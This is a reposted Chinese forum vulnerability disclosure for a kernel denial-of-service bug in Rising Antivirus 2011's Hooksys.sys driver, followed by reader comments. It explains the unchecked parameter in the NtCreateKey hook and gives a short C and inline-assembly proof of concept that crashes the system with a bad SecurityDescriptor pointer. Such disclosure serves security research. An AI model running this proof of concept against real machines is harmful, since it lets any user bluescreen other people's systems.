瑞星全功能安全软件2011内核拒绝服务漏洞

  • A+
所属分类:lcx

标 题: 【原创】瑞星全功能安全软件2011内核拒绝服务漏洞

作 者: cxthl

时 间: 2012-05-27,08:23:54

链 接: http://bbs.pediy.com/showthread.php?t=151241

瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.

最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.

存在问题的组件:Hooksys.sys

版本:25.0.0.57,CheckSum = 0002ED85, TimeStamp = 4EDDA48B

数字签名仍为2011.12.6

瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.

调用过程:

ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏

偏移Hooksys+e27a

瑞星全功能安全软件2011内核拒绝服务漏洞

//测试代码:
WCHAR fuzz[] = L"xxxx_fuzz_rising";

HMODULE hlib = LoadLibrary(L"ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateKey");

OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = fuzz;
strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;

InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);

__asm{

    push 0
    push 0
    push 0
    push 0
    lea eax,oba
    push eax
    push 0
    push 0
    call p

}

return 0;

poc.rar

Mini052712-01.rar

留言评论(旧系统):

九区外观大队队长 @ 2012-05-28 11:04:58

以前叱诧风云的瑞星 现在变成了这样了。。。很怀念以前用od做过瑞星免杀的日子

本站回复:

360也有这种洞……

晴天小铸 @ 2012-05-28 13:40:59

看雪论坛书籍真的很牛逼,..... 核总有考虑搞个开源技术论坛么- - 在你的带领下培养出"中国核精英" -。- 我愿意当志愿者 帮助你

本站回复:

开那种无意义论坛,谁闲的蛋疼吗?如果你们每人出10万人民币赞助的话,也许可以考虑下。

文章来源于lcx.cc:瑞星全功能安全软件2011内核拒绝服务漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: